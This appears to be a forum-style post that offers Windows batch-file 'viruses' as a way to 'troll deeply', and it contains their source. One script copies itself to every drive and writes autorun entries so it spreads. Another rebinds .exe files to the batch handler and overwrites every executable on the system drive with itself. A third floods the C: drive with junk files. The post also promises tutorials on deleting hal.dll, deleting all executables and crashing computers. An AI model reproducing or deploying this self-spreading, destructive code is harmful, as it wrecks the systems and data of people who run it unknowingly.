Best Known Batch Coding Programms (.BAT viruses ... best way to troll deeply)

1.Infecting All drives :
@ echo off
rem --------------- ­--------------- ­---
rem Infect All Drives
for %%E In (A,B,C,D,E,F,G, ­H,I,J,K,L,M,N,O ­,P,Q,R,S,T,U,V, ­W,X,Y,Z) Do(
copy /Y %0 %%E:\
echo [AutoRun] >%%E:\autorun.in ­f
echo open="%%E:\%0" >>%%E:\autorun.in ­f
echo action=Open folder to see files... >> %%E:\autorun.in ­f)
rem --------------- ­--------------- ­---
2.Infecting all .exe in the computer
@ echo off
rem --------------- ­--------------- ­---
rem Infect All .Exe Files
assoc .exe=batfile
DIR /S/ ­B%SystemDrive%\*.exe ­ >> InfList_exe.txt
echo Y | FOR / ­F"tokens=1,* delims=: " %%j in(InfList_exe.txt) ­ do copy /y%0 "%%j:%%k"
rem --------------- ­--------------- ­---
3.SPAM local disk
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
echo %random% > 'C:\%random%.tx ­t'
rem --------------- ­--------------- ­---
Upcoming tut:
*Spam Printer
*Swap Mouse button
*Crash computer
*Delete hal.dll
*Delete all .exe files in the computer
*Disable internet
*Disable Keyboard
*Disable Mouse
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